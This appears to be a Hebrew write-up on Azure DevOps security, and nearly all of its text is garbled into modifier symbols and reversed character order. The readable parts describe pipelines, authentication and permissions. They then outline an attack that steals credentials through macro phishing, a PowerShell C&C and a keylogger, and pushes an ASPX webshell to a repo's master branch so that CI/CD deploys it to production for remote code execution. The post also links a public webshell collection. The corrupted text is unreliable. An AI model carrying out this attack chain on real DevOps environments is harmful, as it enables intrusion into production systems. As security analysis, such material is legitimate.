˭˸˧ˮˢ ˢ˶ˡˠˢ˪ ˷˞˶ˬ ό˪˞ sπLogic App ύ˶ˣˬ˞˩ Σˢˬ˶ˣ˲˦˪˲ ˸˯˯ˣ˟ˬ ˭ˮ˰ ˸˶˧˴˧˪ ˸˴˧˶˪ˣ ˧˩˧˪ˢ˸ ˢˡˣ˟˰ 

˫˧˵˷ˬˬ˸ˬˢ ˢ˧˴˵˧˪˲˞˪ Σ˰ˡ˧ˬ˪ Σ˫˧˸ˣ˶˧˷˪ ˢˮ˩ˣ˸˪ˣΦό 

˟˪˷ сΥ ˰ˠ˶˟ ˢ˷πLogic App ˪˰˲ˣˢ Σ˞ˣˢ ˭˧˟ˬ ˫˞ sπpush ˰˴ˣ˟˷ ˨˧˧˷ ˪πbranch ˧ˤ˩˶ˬˢ ύ˷˧ ˫˧˞˶ˣ˵ˢ x˪ 

master όˣ˞ ˞˪ Φˢˡ˧ˬ˟ ˭˩ˣ sπLogic App ˷˲˥ˬ ˶˥˞ pipelines ˫˧ˬ˧˧˵ ˫˧ˬ˞ˣ˸ˢ ˪πRepo Φ˶ˣˬ˞˩ Σ˶˷˲˞ 

˯ˡˮˢ˪ pipeline ˧ˡˣ˰˧˧ ˪˩˪ branch Φ 

˟˪˷ тΥ ˢˡ˧ˬ˟ ˫˧˧˵ˣ pipeline ˫˧˞˸ˬ ΣπsLogic App ˭˩ˡ˰ˬ ˣ˸ˣ˞ ˨˶ˡ sπAzure DevOps REST APIs Φ

ˢˡ˧ˬ˟ xπpipeline ˞˪ ˫˧˧˵ ˶˴ˣˮ ˡ˥˞ ˷ˡ˥ ύ˞˪ ˥˶˩ˢ˟ ˨˞ ˟ˣ˶˪ ˭˩Φό 

˟˪˷ уΥ ˶˷˲ˣ˞ˬ ˪πpipeline ˳˧˶ˢ˪ build Σ˫˯˶˲˪ ˰˴˟˪ˣ deployment  ˪˰ sπartifact ύ˪˪˩ sπpackages 

˭ˢ˟ ˣ˷ˬ˸˷ˢ όπ˪Azure resources Φ˨˪ˢˬ˟ ˫ˣ˯˶˲ sπartifact ˸˥˪˷ˮ ˸˧˧˵˧˸ zip ˶˷˞ ˢ˪ˣ˰ ˪πLogic App 

˪ˣˢ˧ˮ˪ ˫˧˟˞˷ˬˢ ˫˧˴˵ˣˬ˷ ˢˬ˧˷ˬ˪ ˪˰ ˧ˡ˧ ˸˧˸˷˸ˢ ˪˷ Azure Φ 

˟˪˷ ф-млΥ sπPipeline ˢˮ˟ˮ ˢ˪˰ˣˬˣ ˸˥˞˪ ˸ˣ˟˧˟˯ˢ ΥStage || Prod ύ˪ˡ˟ˢˢ ˰˟ˣˮ ˢˡ˟ˣ˰ˢˬ ˧˩ ˸˟˧˟˯ 

staging ˢ˵˥ˬ ˸˞ ˸˟˧˟˯ sπProduction ˪˧˟˷˟ ˰˴˟˪ ˸ˣ˵˧ˡ˟ ˡˣ˵˪ Σπ˪builds ˫˧ˮˣ˩ˡ˰˪ˣ ˢ˟˧˟˯˟ ˢ˟ˣ˶˵ 

˪ˣ˩˩ ˭˸˧ˮˢ ˸˟˧˟˯˪ sπProduction Φό˨˩ ˢˤ ˢ˞˶ˮ Υ 

 

˨˩ ˫˴˰˟ ˷˥˶˸ˬ ˵˪˥ ˨˧˪ˢ˸ˬ ˢ˧˴ˬˣ˦ˣ˞ˢ ˸ˣ˰˴ˬ˞˟ Azure DevOps ˨˩ˣ ˸ˣ˶˟˰ˣˬ ˸ˣ˞˶ˣˢ ˸ˣˡˣ˵˲ˣ 

˸˧˸˷˸˪ ˢ˶ˣ˴˟ ˢ˪˧˰˧ Φ 

˸ˬ˧˧˵ ˢ˟˧˦ˮ˶˦˪˞ ˸˲˯ˣˮ ˟πAzure ˰˴˟˪ ˢ˧˴ˬˣ˦ˣ˞ ˪πCI/CD ˸ˣ˰˴ˬ˞˟ ˸ˣ˶˧˷ˢ Azure DevOps Starter 

˨˞ ˢ˟˧˦ˮ˶˦˪˞ ˸˞ˤ ˸˷˶ˣˡ ˢ˪˧˥˸ ˵˲˯˪ ˸˞ ˸˧˸˷˸ˢ Σˡˣˠ˧ˮ˟ ˷˧˥˶˸˪ ˣˮˠ˴ˢ˷ ˷˶ˣˡ˷ ˵˶ ˸˞ ˡˣ˵ˢ 

˨˩˟ˣ ˫˴˰˟ ˶˷˲˞ˬ ˸ˣ˷˧ˬˠ ˷ˣˬ˧˷˟ ˫˰ ˪˩ Azure workloadΦ 
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˧˶ˣ˥˞ˬ ˫˧˰˪˵ˢ 

˵˶˲˟ ˟ˣ˶˵ˢ ˢ˞˶ˮ ˨˧˞ ˭ˣˮˠˮˬ ˸ˣ˞˷˶ˢˢ ˪ˢˮ˸ˬ ˟πAzure DevOps Φˣ˪˞˪ ˫˩ˬˬ ˞˴˧˷ ˵˥˷˪ ˸˴˵ ˫˰ 

˸ˬ˶ˣ˲˦˪˲ ˭ˮ˰ˢ ˪˷ Azure ˶˟˰˟ x˞ ˸ˣ˷˰˪ ˸ˣ˶˷˩ˢ ˞˷ˣˮ˟ ύAz-500,Az-900 ό˧˞ˡˣˣ˟ ˞˴˧ ˶˧˩ˢ˪ ˸˞ 

˞˷ˣˮˢ ˭ˣˣ˧˩ˬ ˞ˣˢ˷ ˭˟˞ ˨˶ˡ ˸˧˸ˣ˰ˬ˷ˬ ˸ˬ˶ˣ˲˦˪˲˟ ˭ˮ˰ˢ ˪˪˩˟ Φˣˮ˶˥˟ ˟˧˥˶ˢ˪ ˣ˧˪˰ ˸˶ˠ˯ˬ˟ ˶ˬ˞ˬˢ 

˭ˣˣ˧˩ˬ ˧˲˩˷ ˢ˞˶ˮ˷ ˷˧˥˶˸˟ ˫ˣˡ˞ˢ ˨˷ˬˢ˟ Σ˪ˣˢ˧ˮ ˞˪ ˭ˣ˩ˮ ˪˷ ˸ˣ˞˷˶ˢ ˫˧˷ˬ˸˷ˬ ˪ˣ˩˧ ˫˧˷˪ ˸˞ 

˦˵˧ˣ˶˲ˢ ˸˞ˣ ˭ˣˠ˶˞ˢ ˣ˸ˣ˪˪˩˟ ˢˮ˩˯˟ ˸˧˷ˬˬΦ 

Authentication 

˨˧˪ˢ˸ ˸ˣˢˡˤˢˢ ˢˢˤˬ ˸˞ ˧˦˶˲ ˢ˯˧ˮ˩ˢ ˷ˬ˸˷ˬˢ˷ ˵˲˯ˬ ˪˰ ˸ˮˬ ˶˟˥˸ˢ˪ ˪πAzure DevOps Φ˨˧˪ˢ˸ˢ 

˷˥˶˸ˬ ˸˶ˤ˰˟ ˸˷ˣ˪˷ ˫˧ˮ˵˥˷ˢ ˫˧˞˟ˢΥ 

мΦ Azure Active Directory - Azure AD 

нΦ Microsoft Account  - MSA 

оΦ Active Directory - AD 

AD xπMSA ˫˧˩ˬˣ˸ ˸ˣˢˡˤˢ˟ ˭ˮ˰˟ Σ˳˪ˬˣˬ ˭˟ˣˬ˩ ˷ˬ˸˷ˢ˪ ˟πAzure AD ˨˞ ˶˷˞˩ ˷˧ ˶˲˯ˬ ˫˧˷ˬ˸˷ˬ 

˪ˣˡˠ ˞˪˷ ˭ˮ˰˟ ˸ˣ˲˧ˡ˰ˢ ˢ˧ˢ˸ ˪πAD Ϧ˪˧ˠ˶ΦϦ 

˸ˣ˧˴˵˧˪˲˞ ˸ˣ˶˥˞ ˫˧˩˧˪ˢ˸ˣ ˫˧ˮˣ˷ ˫˧˪ˣ˩˧ ˵˷ˬˬ˸ˢ˪ ˪πAzure DevOps Φ˧ˡ˩ ˯ˮ˩˧ˢ˪ ˸˩˶˰ˬ˪ ˧˪˟ˬ 

˸ˣˢˡˤˢ˪ ˷ˡ˥ˬ ˪˩ ˫˰˲ ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˡ˥˞˟ ˭ˬ ˸ˣ˧ˣ˶˷˲˞ˢ ˸ˣ˞˟ˢΥ 

мΦ Personal access token 

нΦ OAuth  

оΦ ˸ˣˬ˧˞ ˯˯ˣ˟ˬ SSH 

Authorization 

ˣ˞˪˲˸˸ x˞ ˞˪ ˪˟˞ ˟πAzure DevOps ˫˧ˬ˧˧˵ ˞˪ˬ ύ˪˟˞ ˞˞˞˪ˬ ό˫˧ˠˣ˯ ˫˧ˮˣ˷ ˪˷ ˸ˣ˞˷˶ˢ Φ˭˧˟ˮ ˸˞ 

˸ˣˮˣ˶˵˰ ˥˸˲ˬˢ ˢ˷˧ˠ˪ ˮˢϦ˪Υ 

мΦ ˪˩ ˷ˬ˸˷ˬ ˟πAzure DevOps ˨˧˧ˣ˷ˬ ˪πSecurity Group ˸˥˞ ˸ˣ˥˲˪Φ 

нΦ Security Groups ˸ˣ˞˧˴˵ˬ ˸ˣ˞˷˶ˢ ˢ˷˧ˠ ˫˧˸ˣ˶˧˷˪ ˪˦˶ˣ˲˟ ˣˬ˴˰Φ 

оΦ ˪˩˪ ˷ˬ˸˷ˬ ˢ˴˵ˣˬ access level ˵˧ˮ˰ˬˢ ˸ˣ˞˷˶ˢ ˢ˷˧ˠ ˫˧˸ˣ˶˧˷˪ ˫˧ˬ˧˧˵˷ ˪˦˶ˣ˲˟Φ 

пΦ ˸ˣ˞˷˶ˢ ˸ˣ˰˟˵ˮ ˸ˣˬ˶˟ ˸ˣˮˣ˷ ˟ˣ˶˪ ˫˧˸ˣ˶˧˷ˢ ˭ˣˠ˩ Repo, Pipelines ˣ˩ˣΦϥ 

рΦ ˶˞˷ ˸ˣ˞˷˶ˢˢ ˸ˣ˪ˢˣˮˬ ˨˶ˡ sπRole-base assignments ˭ˣˠ˩ΥTeam Administrator' extension 

management role ˣ˩ˣΦϥ 

сΦ ˪˩ ˸ˣ˶˧˷ ˷˶ˡˮ ˢ˪˰˲ˢ˟ ˧ˮ˲˪ ˶˷˲˞˷ ˸˷ˠ˪ ˣ˧˪˞ 
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˶ˬˣ˪˩ Σˢ˦˧˷ˢ ˢ˴ˣ˲ˮˢ ˰ˣ˟˵˪ ˸ˣ˞˷˶ˢ ˢˮ˧ˢ ˸˶ˤ˰˟ ˢ˲˯ˣˢ ˸˧ˮ˟ˣˬ ˪˷ ˪˪˩ ˫˧˷ˬ˸˷ˬˢ ˪πSecurity 

Group ˨˩˟ˣ ˪˧˥ˢ˪ ˸˞ ˪˪˩ ˸ˣ˞˷˶ˢˢ ˪˷ ˢ˴ˣ˟˵ˢ ˪˰ ˷ˬ˸˷ˬˢ ΦAzure ˦˪˥ˢ˟ ˞˪ ˣ˞˧˴ˬˢ ˸˞ ˪ˠ˪ˠˢ 

˪˩˟ ˢˬ ˶ˣ˷˵˷ ˢˤ˪ Φ 

˫˧ˬ˰˲˪ ˭˧˞ ˨˶ˣ˴ x˞ ˣˮ˷˧ ˶˰˲ ˭˧˟ ˸ˣ˞˷˶ˢˢ ˸ˣ˧˦ˮˣˣ˪˶ˢ ˭˸ˣ˞˷ ˢ˴˶ˮ ˵˧ˮ˰ˢ˪ ˷ˬ˸˷ˬ˪ ˣ˪˞˪ ˞ˣˢ˷ 

ˢ˶˩˷˞ ˧˶˴ ˨Φ˭˩˪ ˢ˶˵ˬ˟ ˢˤ˩ Σ˶ˣ˴˧ˮ Azure DevOps Security Group  ˫˞˸ˣˬ ˸˧˷˧˞ Φ 

Azure DevOps ˣ˶˴˧ ˦˯ ˪˷ Security Groups ˸ˣ˧˟˧˦˪ˣ˲˧ˡ ˸ˣ˵˧ˮ˰ˬ˷ ˢ˶ˣ˴˟ ˸˧˦ˬˣ˦ˣ˞ ˸ˣ˞˷˶ˢ 

˫˧˷ˬ˸˷ˬ˪ ˢ˴ˣ˟˵˟ Φ˭ˢ˧ˮ˧˟ ˸ˣ˴ˣ˟˵ˢ ˸ˣ˴ˣ˲ˮˢ ΥReaders, Contributors xπProject AdministratorΦ 

ˡ˴˧˩ ˰˟˵ˮ ˧ˬ˪ ˵˧ˮ˰ˢ˪ ˸˞ s˸ˣ˞˷˶ˢ Κ˪˩˟ ˫˰˲ ˢ˴˶ˮ˷ ˵˧ˮ˰ˢ˪ ˸ˣ˞˷˶ˢ ˶ˤ˰˧ˮ ˸˷ˣ˪˷˟ ˧ˮ˟˞ ˭˧˧ˮ˟ˢ 

˫˧˞˟ˢΥ 

¶ ˵˧ˮ˰ˮ ˸˞ ˸˞˷˶ˢ sπContributors ˧ˬ˪ ˡ˟ˣ˰˷ ˪˰ ˡˣ˵ˢ ˱˧˯ˣˬˣ ˣ˧˪˰ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲  

¶ ˵˧ˮ˰ˮ ˸˞ ˸˞˷˶ˢ sπProject Administrator ˷ˬ˸˷ˬ˪ ˪ˢˮˬ˷ ˸˞ ˧˟˞˷ˬ ˦˵˧ˣ˶˲ˢ  

¶ ˵˧ˮ˰ˮ ˸˞ ˸˞˷˶ˢ sπReaders ˫˧˷ˬ˸˷ˬ˪ ˫˧˷˶ˡˮˢ ˢ˧˧˲˴˪ ˡ˟˪˟ ˞˪˪ ˸˪ˣ˩˧ ˨ˣ˶˰˪ 

ˢˬˠˣˡ˪ Σ˪ˣˢ˧ˮ ˸ˣ˞˷˶ˢˢ ˟πboardsΥ 

 

]˶ˣ˷˧˵ ˸ˣ˞˪˟˦˪ ˸ˣ˞˪ˬˢ ΥAzure DevOps | Microsoft Docs -reference Default permissions quick ώ 

https://docs.microsoft.com/en-us/azure/devops/organizations/security/permissions-access?view=azure-devops#azure-boards
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Access Level 

πsAccess Level ˦˪ˣ˷ ˫˧˸ˣ˶˧˷˟ ˣˮ˞˷ ˱˷˥ˮ ˫ˢ˧˪˞ ˪˦˶ˣ˲˟ ˫˞˸ˢ˟ ˭ˣ˧˷˧˶˪ ˪˷ ˷ˬ˸˷ˬˢ Σ˸˞ˤ ˡˣˠ˧ˮ˟ 

˸ˣ˞˷˶ˢ˪ ˸ˣ˦˪ˣ˷˷ ˶ˣ˟˧˥˟ ˪˷ ˷ˬ˸˷ˬ ˫˧˸ˣ˶˧˷˪ ˟πAzure DevOps Φ˷˶ˡˮ ˡ˧˲˵ˢ˪ ˷ˬ˸˷ˬ˪˷ ˷˧ ˫ˠ 

˸˞ ˸ˣ˞˷˶ˢˢ ˸ˣ˧˦ˮˣˣ˪˶ˢ ˫ˠˣ ˸˞ ˸ˬ˶ˢ ˢ˷˧ˠ ˢˬ˧˞˸ˬˢΦ 

Permissions 

˯˪˩˸ ˢˬ ˨˧˶˴˷ ˸˰ˡ˪ ˪˰ Permissions ˢˤ ˷˧˷ ˢ˷˧ˬ˥ ˫˧˯ˣ˦˦˯ ˫˧˦˪ˣ˷˷ ˪˰ ˸ˣ˞˷˶ˢˢ ˞ˣ˪ˢ ˫ˢΥ 

˫˧˶˷˲˞ˬˢ ˢ˷˧ˠΥ Allow, Inherited Allow  

˫˧ˬ˯ˣ˥ˢ ˢ˷˧ˠΥ   Deny, Inherited Deny and Not Set 

˵˪˥ ˸ˣ˞˷˶ˢˢˬ ˸˪ˢˣˮˬ ˸ˣ˰˧ˠˬˣ ˢ˷ˣ˶˧˟ ˸ˬˠˣˡ˩ Security Group Φ˨˩ ˢ˞˶ˮ ˱ˡ ˸ˣ˞˷˶ˢˢ Σ˭˸˧ˮ ˸ˣ˞˶˪ 

˸˞ ˢ˧˴˵˧ˡˮ˧˞ˢ ˢ˷ˣ˶˧˪Υ 

 

˫ˣ˩˧˯˪ Σ˪˩ ˦˵˧ˣ˶˲ ˷ˬˬ˧ ˸˞ ˨˶ˡ ˸ˣˢˡˤˢˢ ˨˶ˡ˟ ˢˬ˧˞˸ˬˢ x˪ ˧˲˪ ˧˲ˣ˞ ˧˟˞˷ˬˣ ˦˵˧ˣ˶˲ˢ Σ˨˞ ˷˧ ˶ˣ˩ˤ˪ 

˭˸ˬ˷ ˸ˣ˞˷˶ˢ ˫˧˥˸˲ˬ˪ ˧ˡ˟ˣ˰ˣ ˢ˶˟˥ˢ ˷˶ˡˮ ˸ˣ˧ˢ˪ ˵˧ˣˡˬ Σˢˤ˩ ˶˧˸ˣˬˢ ˡ˟ˣ˰˪ ˨˞ ˵˶ˣ ˸˞ ˸ˣ˞˷˶ˢˢ 

˸ˣ˴ˣ˥ˮˢ x˪ ύ˭ˣ˶˵˧˰least privileges Φό 
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˫˧˲˧˰˯˟ ˫˧˞˟ˢ ˫˧ˠˡˮ ˡ˴˧˩ ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˫˧˪˩˟ ˫˧˧ˤ˩˶ˬ ˢˬ˶ˣ˲˦˪˲ˢ˷ ˢ˰˧˴ˬ ˪˰ ˸ˮˬ ˰˧ˠˢ˪ ˪˞ ˸˴˶ˢ 

ˡˣ˵ ˪˰ ˸˶˷ˢ ύRCE Φό˸ˣ˶ˬ˪ ˢˡ˟ˣ˰ˢ ˧˶ˣ˦˵ˣ˷ ˢ˲˧˵˸ˢ ˠ˧˴ˮ˷ ˫ˮ˧˞ ˭ˬ ˫˧˪˪˩ˣ˷ˬˢ ˶˸ˣ˧˟ ˫˧ˬ˧˧˵˷ Σ˫ˢ 

ˣˠ˧˴˧ ˢ˶ˣ˴˟ ˸˧˟˦˧ˬ ˸˞ ˫˧ˮˣ˩˧˯ˢ ˫˧˧˯˧˯˟ˢ ύ˫˧˥˧˩˷ˢˣ ˶˸ˣ˧˟ ό˶˷˞ ˫˧˩ˣ˶˩ ˢˡˣ˟˰˟ ˫˰ ˢˬ˶ˣ˲˦˪˲ ˭ˣˠ˩ 

Azure DevOps ˶˷˞ ˸ˤ˩˶ˬ ˫ˠ  ˢ˟˧˟˯ ˪ˣˢ˧ˮ˪ ˡˣ˵ Σ˨˶˰ˬ ˸ˣ˵˧ˡ˟ ˸ˣˬ˧˷ˬˣ CI/CD ˨˶ˡ pipelineπ˫˧ Φ 

 

˫˧˪˧˥˸ˬ ˫˰ ˱˧˩ˢ 

˶˥˞˪ ˣˮ˟ˢ˷ ˨˧˞ ˸˩˶˰ˬˢ ˸ˡ˟ˣ˰ Σˡ˴˧˩ ˞˧ˢ ˢ˧ˣˮ˟ ˢˬˣ ˸ˣ˵ˤˣ˥ˢ ˞˧ˢ˷ ˢ˞˧˟ˬ ˭˥˪ˣ˷˪ ˥ˣ˸˧˲ˢ Σˣ˞ˣ˟ 

˪˩˸˯ˮ ˪˰ ˡ˴ˢ ˧˸˥˦˟˞ˢ Φ˭˸˧ˮ ˠ˧˴ˢ˪ ˸˞ ˞˷ˣˮ ˢ˥˦˟˞ˢ ˢ˶ˣ˴˟ ˢ˪˧ˠ˶ ˸ˬˬ˰˷ˬˣ ˪˰ ˧ˡ˧ ˸ˠ˴ˢ best 

practice ˢ˪˞˩ ˫˧˶˥˞ˣ ˪˟˞ ˣˮ˥ˮ˞ ˞˵ˣˣˡ ˫˧˴ˣ˶ ˸ˣ˞˶ˢ˪ ˢˬ ˢ˶ˣ˵ ˶˷˞˩ Ϧ˞˪ ˫˧˪˰ˣ˲ ˣˬ˩ ˨˧˶˴˷ Ϧˢˬˣ 

˫˧ˮˣ˩˧˯ˢ ˨˩˟ Φˢˬ ˢ˶ˣ˵ ˫˞ ˡ˟ˣ˰ ˶˶ˣ˯ ˢ˴ˣ˶ ˰ˣˠ˲˪ ˭ˣˠ˶˞˟ Κˢˬ ˢ˶ˣ˵ ˫˞ ˣˮ˴˵ˢ ˶˸ˣ˧ ˧ˡ˧ˬ ˸ˣ˞˷˶ˢ 

˫˧˷ˬ˸˷ˬ˪ ˫˧˷˪˥ ˫ˢˣ ˣ˪˲ˮ ˸˲˵˸ˬ˟ phishing ˸˰˩ˣ sπcredentials ˫ˢ˪˷ ˧ˡ˧˟ ˱˵ˣ˸ Κ˫˞ˢ ˶˷˲˞ 

˪˴ˮ˪ ˢ˷˪ˣ˥ ˸˶˷˟ sπdevops ˸ˠ˷ˢ˪ RCE ˫˷ˬˣ ˸ˣˣˢ˪ ˶ˣ˦˵ˣ ˢ˲˧˵˸˪ ˸˧˸˷˶Κ 

˪ˬ˞Ϧ˵ ς ˢ˲˵˸ˢ ˸˥˪˴ˣˬ ˪˰ ˸ˬ˶ˣ˲˦˪˲ Azure DevOps ˢ˪ˣ˩˧ ˪˧˟ˣˢ˪ ˸ˣ˪˵˟ ˪πRCE ˫˷ˬˣ ˭˞˪ ˞˟˷ ˫˩˪Φ 

˸˶ˠ˯ˬ˟ ˵˶˲ˢ ˟ˣ˶˵ˢ ˢ˞˶ˮ 3 ˫˧˩˶ˡ ˰ˣ˴˧˟˪ ˢ˧˴˦ˣ˪˲˯˵˞Υ 

¶ ˸˞˪˰ˢ ˳˟ˣ˵ ˧ˮˣˡˤ ˸ˣ˰˴ˬ˞˟ ˦˧ˠ 

¶ ˱˵˰ˬ ˸ˣ˪˟ˠˬ ˸ˣ˷˪˥ ˸˞˪˰ˢˣ ˳˟ˣ˵ ˧ˮˣˡˤ  

¶ ˪ˣ˴˧ˮ pipelineπ˫˧ ˫˧˩˶ˡ˟ ˸ˣˮˣ˷ 

ˢ˶˰ˢ ˢˮ˦ˮ˦˵ ˧ˮ˲˪ ˫˧˪˧˥˸ˬ˷: ˫˧˷˧˥˶˸˟ ˫˧˞˟ˢ ˣˮ˥ˮ˞ ˫˧˩˪ˣˢ ˪˟˵˪ credentials ˪˷ ˫˧˷ˬ˸˷ˬ 

˧˪˰˟ ˸ˣ˞˷˶ˢ ˸ˣˮˣ˷ ˞˪ˣ ˟˩˰˸ˢ˪ ˪˰ ˡ˴˧˩ ˢ˶ˣ˞˩˪ ˣˮˠ˷ˢ ˫˸ˣ˞ .˫˸˞ ˫˧˪ˣ˩˧ ˥˧ˮˢ˪ ˧˩ ˣˮ˰˴˧˟ ˢˤ˧˞ 

˭˧˧˲ˬ˵ phishing ˫˩˥ˣ˸ˬ ˪˪˩˷ ˸˥˧˪˷ ˪˧˧ˬ ˫˰ ˳˟ˣ˵ excel ˪˧˩ˬˢ ˣ˩ˣ˸˟ excel macros ˭ˣˠ˶˧˞˪ ˫˪˷ ;

˶˥˞˪ˣ ˳˟ˣ˵ˢ˷ ˡ˶˧ ˟˷˥ˬ˟ ˭˟˶ˣ˵ˢ ˞ˣˢ ˵˷ˬˬ˸ˢ ˦˲˧˶˵˯˪ Powershell ˶˷˞ ˶˟˥˸ˢ ˸˶˷˪ C&C 

˵˥ˣ˶ˬ ˣˮˬ˵ˢ˷ ˡ˥ˣ˧ˬ˟ ˪˧˟˷˟ ˭˧˧˲ˬ˵ˢ .˶˥˞˪ ˭˩ˬ ,˦˲˧˶˵˯ˢ ˡ˧˶ˣˢ ˸˶˷ˢˬ malware ˪˷ key logger 

˶˥˞˪ˣ ˦˪˵˷ ˶˲˯ˬ credentials ˪˷ ˭˟˶ˣ˵ˢ ˞ˣˢ ˥˸˲ ˸˶˷ HTTP ˧˪˞˵ˣ˪ ˪˰ ˢˡˬ˰ˢ ˥˪˷ˣ ˣˮ˪ ˸˞ ˧˦˶˲ 

-slogin ˣ˪˷ .ˣ˞ ˦ˣ˷˲˷ ˫ˣ˧˟ ˶˧ˢ˟ ˡ˥˞ s-credentials ˣ˪˲ˮ ˸˧˞˷ˬˬ ˢ˰˯ˮ˷ ˣˮ˧ˮ˲˪ ˷˧˟˩˟ J 

 

ˤ˞ ˷˪˧˥˸ˮΚ 
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˸˞˪˰ˢ Webshell 

˵˪˥˟ ˭ˣ˷˞˶ˢ ˢ˞˶ˮ ˡ˴˧˩ ˪ˣ˴˧ˮ ˪˷ ˸˟˧˟˯ sπAzure Repos ˪ˣ˩˧ ˪˧˟ˣˢ˪ ˪πRCE ˪˰ ˸ˮˣ˩ˬ ˸˶˷ˢ Φ 

˧˲˩ ˣˮ˶ˬ˞˷ ˶˟˩ ˫ˡˣ˵ˬ Σ˸˟˧˟˯ Azure Repos ˞˧ˢ ˫ˣ˵ˬˢ x˟ ˫˧˥˸˲ˬ ˫˧˪ˣ˩˧ ˪ˢˮ˪ ˸˞ ˡˣ˵ˢ ˪˷ ˦˵˧ˣ˶˲ˢ Φ

˭˸˧ˮ ˶ˣ˴˧˪ branchπ˫˧ ˫˧˷ˡ˥ Σ˱˶˴˪ ˸ˣ˧˵˧˸ & ˫˧˴˟˵ ˸ˣˮ˷˪ˣ ˸˞ ˡˣ˵ ˶ˣ˵ˬˢ ˪˷ ˦˵˧ˣ˶˲ˢ Φ˟ˣ˶˟ ˫˧˶˵ˬˢ Σ

ˡˣ˵ˢ ˟˩ˣ˷˷ ˫˷ ˞ˣˢ ˢˤ ˣ˲ˣ˯˟˷ ˪˷ ˫ˣ˧ ˳˶ ˪˰ ˸˶˷ˢ ˟πProduction ˣ˩˶ˡˣ ˫˧˶˴ˣˮ ˫˧˸ˣ˶˧˷ˢ ˸˶˷ˢ˷ 

˷˧ˠˮˬ ˷ˬ˸˷ˬ˪ ˢ˴˵ˢ ˨˶ˡ ˭˲ˡ˲ˡˢ ύˢˡ˧ˬ˟ ˶˟ˣˡˬ˟ˣ ˸˧˧˴˵˧˪˲˞˟ web Φό˶ˬˣ˪˩ Σ˫˞ ˷˧ ˣˮ˪ ˸ˣ˞˷˶ˢ 

˸ˣ˶˷˲˞ˬ˷ ˢ˲˯ˣˢ ˡˣ˵˪ ˦˵˧ˣ˶˲ˢ Σ˧ˣ˩˧˯ ˢˣ˟ˠ ˪˩ˣˮ˷ ˠ˧˷ˢ˪ XSS ˣ˪˧˲˞ˣ RCE ˫˧˩˶ˡ˟ ˸ˣˮˣ˷Φ 

˨˶ˡˢ ˢ˦ˣ˷˲ˢ ˶˸ˣ˧˟ ˸ˠ˷ˢ˪ ˸˴˶ˢ ˡˣ˵ ˪˰ ˸˶˷ ˧˦ˮ˶˦ˮ˧˞ ˞˧ˢ webshell ύ˸˴˶ˢ ˡˣ˵ ˵ˣ˥˶ˬ ˢ˶ˣ˴˟ 

˸˧˟˧˦˵˞˶˦ˮ˧˞ ˸ˣ˰˴ˬ˞˟ ˭˲ˡ˲ˡˢ ˡ˟˪˟ Φό˶˟ˣˡˬ ˢ˯˟Ϧ˩ ˢ˞˪˰ˢ˟ ˪˷ ˳˟ˣ˵ ˦ˬ˶ˣ˲˟ ˧˸˶˷˷ ˦ˮ˶˦ˮ˧˞ 

˫˧˪ˣ˩˧ ˶ˡˮ˶˪ Φ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˪˩˟ ˸˲˷ ˸ˣˮ˩˸ ˸˶˷ˢ˷ ˨ˬˣ˸ ˢ˟ ˨˞ ˟ˣ˶˪ ˵˲˸˯ˮ ˟πphp ˶ˣ˟˰ ˧˸˶˷ 

apache/nginx ˟xπasp Σ aspx˶ˣ˟˰ IIS ˪˷ WindowsΥ 

 

˸ˮˣ˩ˬ Kali linux ˢ˰˧ˠˬ ˫˰ ˶˲˯ˬ webshells ˧˯˧˯˟˫˧ ύ˧˪ˣ˞ ˭ˣ˩ˮ ˶˸ˣ˧ ˶ˬˣ˪ ˫˧˧˯˧˯˟. όΚΦΦˢ˶ˣ˴˟ 

˸˧˟˧˦˪ˣ˲˧ˡ Φ˭˸˧ˮ ˟˧˥˶ˢ˪ ˸˧˸ˣ˰ˬ˷ˬ ˸˞ ˦˯ˢ ύ˸˞ˣ ˫ˣ˩˥˸ˢ ˪˷ ˫˧˪˩ˢ ό˸ˣ˰˴ˬ˞˟ ˧˦˵˧ˣ˶˲ Open source 

˭ˣˠ˩ Υ 

https://github.com/tennc/webshell 

ˢ˪˪˞˧ ˢˡˣ˟˰˪Φ 

  

https://github.com/tennc/webshell
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 ˶˟˥˸ˮ ˸˷ˬ˸˷ˬ˪ ˫˷˟ ύNathalie Heniey (Nathen ˢ˪ˣ˩˧˷ ˟ˣ˸˩˪ ˪πbranch ˪˷ sπ master Φ˶˷˲˞ 

˸ˣ˞˶˪ ˧˩ ˸˷ˬ˸˷ˬ˪ ˦˵˧ˣ˶˲ ˫˷˟ :spectral  

 

˪˧˟˷˟ ˦˷˲˪ ˸˞ ˶ˣ˲˧˯ˢ Σˡ˧˶ˣˮ ˸˞ ˪˩ ˢ˟˧˟˯ˢ ˣˮ˧˪˞ ˟˷˥ˬ˪ ˸˧˪˞˵ˣ˪ ˸ˣ˰˴ˬ˞˟ Git ˨˶ˡ ˪ˮ˧ˬ˶˦ˢ Φ˶˥˞˪ 

˭˩ˬ Σ˵˧˸˰ˮ ˳˟ˣ˵ webshell ˦ˬ˶ˣ˲˟ apsx ύ˭ˣˣ˧˩ˬ ˸˶˷ˢ˷ ˞ˣˢ IIS ˭˸˧ˮˣ ˸ˣ˞˶˪ ˞ˣˢ˷ ˷˧ˠˮˬ ˧˴˟˵ aspx ˧˲˪ 

ˢˡ˷ ϦX-Powered-By: ASP.NETϦ ό˪˞ ˱ˮ˰ sπmaster ˰˴˟ˮˣ push ˪πmasterΦ 

˪˧˟˷˟ ˨˩ ˳˧˶ˮ ˪ˮ˧ˬ˶˦˟ ˸˞ ˸ˣˡˣ˵˲ˢ ˸ˣ˞˟ˢΥ 
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˸˥˸ ˸˟˧˟˯ sπRepos ˪˷ ˦˵˧ˣ˶˲ˢ ˪˩ˣˮ ˸ˣ˞˶˪ ˸˞ ˳˟ˣ˵ˢ ˣˮ˪˷Υ  

 

ˢ˶˰ˢ Υˣˮ˧˧ˢ ˫˧˪ˣ˩˧ ˰˴˟˪ ˸˞ ˮˢϦ˪ ˸ˣ˰˴ˬ˞˟ sπGUI ˪˷ ˢˬ˶ˣ˲˦˪˲ˢ ˧˲˪ Υ 

 

˪˩ ˶˸ˣˮ˷ ˞ˣˢ ˸ˣ˩˥˪ ˨˧˪ˢ˸˷ sπCI/CD ˰˴˟˧ ˸˞ ˪˩ ˧˟˪˷ sπbuild ύ˶ˣ˟˰ deployment ˰ˠ˶˟ ˰˴ˣ˟˷ ˧ˣˮ˧˷ 

